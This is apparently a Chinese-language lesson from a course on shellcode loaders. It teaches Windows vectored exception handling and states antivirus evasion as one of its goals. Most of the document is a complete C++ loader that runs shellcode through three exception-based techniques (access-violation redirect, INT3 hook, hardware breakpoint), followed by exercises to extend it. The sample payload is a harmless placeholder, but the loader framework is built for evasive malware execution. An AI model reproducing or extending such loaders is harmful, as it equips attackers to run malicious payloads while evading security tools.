shellcode loader
11、C++VEH实现shellcode loader
1、课程目标
- 理解VEH(向量异常处理)机制
- 掌握AddVectoredExceptionHandler的使用
- 实现VEH方式执行ShellCode
- 了解异常处理在免杀中的应用
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| VEH | Vectored Exception Handling | 向量异常处理 |
| SEH | Structured Exception Handling | 结构化异常处理 |
| EXCEPTION_CONTINUE_EXECUTION | - | 继续执行,从异常点重试 |
| Hardware Breakpoint | 硬件断点 | 使用调试寄存器的断点 |
3、代码实现
// veh_loader.cpp
// VEH方式执行ShellCode
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90,
0x31, 0xC0, 0x40, 0xC3
};
LPVOID g_ShellcodeAddr = NULL;
// VEH处理函数
LONG CALLBACK VehHandler(PEXCEPTION_POINTERS ExceptionInfo) {
// 检查是否是我们触发的异常
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ||
ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
printf("[VEH] Exception caught: 0x%08X\n",
ExceptionInfo->ExceptionRecord->ExceptionCode);
if (g_ShellcodeAddr) {
// 修改指令指针到ShellCode
#ifdef _WIN64
printf("[VEH] Redirecting RIP to shellcode: %p\n", g_ShellcodeAddr);
ExceptionInfo->ContextRecord->Rip = (DWORD64)g_ShellcodeAddr;
#else
printf("[VEH] Redirecting EIP to shellcode: %p\n", g_ShellcodeAddr);
ExceptionInfo->ContextRecord->Eip = (DWORD)g_ShellcodeAddr;
#endif
g_ShellcodeAddr = NULL; // 防止循环
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// 方法1: 通过异常跳转执行
void Method1_ExceptionRedirect() {
printf("[*] Method 1: Exception Redirect\n");
// 分配可执行内存
g_ShellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!g_ShellcodeAddr) return;
memcpy(g_ShellcodeAddr, shellcode, sizeof(shellcode));
// 注册VEH处理器
PVOID handler = AddVectoredExceptionHandler(1, VehHandler);
if (!handler) {
VirtualFree(g_ShellcodeAddr, 0, MEM_RELEASE);
return;
}
printf("[+] VEH handler registered\n");
// 触发异常
printf("[*] Triggering exception...\n");
__try {
// 访问空指针触发异常
*(int*)NULL = 0;
}
__except(EXCEPTION_EXECUTE_HANDLER) {
// 不应该执行到这里,VEH会处理
}
printf("[+] Returned from shellcode\n");
RemoveVectoredExceptionHandler(handler);
VirtualFree(g_ShellcodeAddr, 0, MEM_RELEASE);
}
// 方法2: 使用INT3断点
LPVOID g_OriginalCode = NULL;
BYTE g_OriginalByte = 0;
LONG CALLBACK Int3Handler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
LPVOID addr = ExceptionInfo->ExceptionRecord->ExceptionAddress;
if (addr == g_OriginalCode) {
printf("[VEH] INT3 hit at %p\n", addr);
// 恢复原始字节
DWORD oldProtect;
VirtualProtect(g_OriginalCode, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)g_OriginalCode = g_OriginalByte;
VirtualProtect(g_OriginalCode, 1, oldProtect, &oldProtect);
// 执行ShellCode
if (g_ShellcodeAddr) {
typedef int (*SC_FUNC)();
SC_FUNC func = (SC_FUNC)g_ShellcodeAddr;
func();
}
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
void DummyFunction() {
printf("[*] DummyFunction called\n");
}
void Method2_Int3Hook() {
printf("[*] Method 2: INT3 Hook\n");
g_ShellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!g_ShellcodeAddr) return;
memcpy(g_ShellcodeAddr, shellcode, sizeof(shellcode));
// 注册处理器
PVOID handler = AddVectoredExceptionHandler(1, Int3Handler);
// Hook目标函数
g_OriginalCode = (LPVOID)DummyFunction;
DWORD oldProtect;
VirtualProtect(g_OriginalCode, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
g_OriginalByte = *(BYTE*)g_OriginalCode;
*(BYTE*)g_OriginalCode = 0xCC; // INT3
VirtualProtect(g_OriginalCode, 1, oldProtect, &oldProtect);
printf("[+] INT3 hook installed\n");
// 调用被Hook的函数
DummyFunction();
printf("[+] Completed\n");
RemoveVectoredExceptionHandler(handler);
VirtualFree(g_ShellcodeAddr, 0, MEM_RELEASE);
}
// 方法3: 使用硬件断点
LONG CALLBACK HwbpHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// 硬件断点触发
printf("[VEH] Hardware breakpoint hit\n");
// 清除DR0
ExceptionInfo->ContextRecord->Dr0 = 0;
ExceptionInfo->ContextRecord->Dr7 &= ~1;
// 执行ShellCode
if (g_ShellcodeAddr) {
#ifdef _WIN64
ExceptionInfo->ContextRecord->Rip = (DWORD64)g_ShellcodeAddr;
#else
ExceptionInfo->ContextRecord->Eip = (DWORD)g_ShellcodeAddr;
#endif
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
void Method3_HardwareBreakpoint() {
printf("[*] Method 3: Hardware Breakpoint\n");
g_ShellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!g_ShellcodeAddr) return;
memcpy(g_ShellcodeAddr, shellcode, sizeof(shellcode));
PVOID handler = AddVectoredExceptionHandler(1, HwbpHandler);
// 设置硬件断点
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
// DR0 = 断点地址
ctx.Dr0 = (DWORD_PTR)DummyFunction;
// DR7: 启用DR0,执行断点
ctx.Dr7 = (ctx.Dr7 & ~0xF) | 1;
SetThreadContext(hThread, &ctx);
printf("[+] Hardware breakpoint set at %p\n", DummyFunction);
// 触发断点
DummyFunction();
printf("[+] Completed\n");
RemoveVectoredExceptionHandler(handler);
}
int main() {
printf("========================================\n");
printf(" VEH ShellCode Loader \n");
printf("========================================\n\n");
Method1_ExceptionRedirect();
printf("\n");
Method2_Int3Hook();
printf("\n");
Method3_HardwareBreakpoint();
return 0;
}
4、课后作业
4.1、作业1:实现Guard Page触发
使用PAGE_GUARD触发异常来执行ShellCode。
4.2、作业2:多层VEH
注册多个VEH处理器,实现链式处理。